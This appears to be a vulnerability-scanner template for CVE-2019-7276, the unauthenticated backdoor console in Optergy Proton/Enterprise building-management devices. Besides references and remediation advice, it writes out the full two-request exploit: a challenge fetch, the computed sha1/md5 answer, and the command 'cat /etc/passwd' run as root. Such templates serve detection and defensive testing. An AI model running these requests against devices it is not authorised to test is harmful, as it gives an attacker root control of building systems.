Optergy Proton/Enterprise - Unauthenticated RCE via Backdoor Console

id: CVE-2019-7276

info:
  name: Optergy Proton/Enterprise - Unauthenticated RCE via Backdoor Console
  author: daffainfo
  severity: critical
  description: |
    Optergy Proton/Enterprise devices allow Remote Root Code Execution via a Backdoor Console.
  impact: |
    Unauthenticated attackers can exploit the backdoor console to execute arbitrary system commands with root privileges, leading to complete device compromise and control over building management systems.
  remediation: |
    Apply vendor-provided firmware updates or disable the affected console feature if possible.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7276
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/optergy_bms_backdoor_rce_cve_2019_7276.rb
    - https://attackerkb.com/topics/QrYFIjnd3J/cve-2019-7276
    - https://www.zeroscience.mk/files/ioybms_gk_2019.pdf
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-7276
    epss-score: 0.93384
    epss-percentile: 0.99825
    cpe: cpe:2.3:a:optergy:enterprise:*:*:*:*:*:*:*:*, cpe:2.3:a:optergy:proton:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: optergy
    product: enterprise,proton
    shodan-query: html:"Optergy"
  tags: cve,cve2019,optergy,proton,backdoor,rce,intrusive,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /tools/ajax/ConsoleResult.html?get HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: challenge
        json:
          - '.response.message'
        internal: true

  - raw:
      - |
        POST /tools/ajax/ConsoleResult.html HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        command=cat /etc/passwd&challenge={{challenge}}&answer={{ sha1(challenge) + md5(sha1(challenge)) }}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
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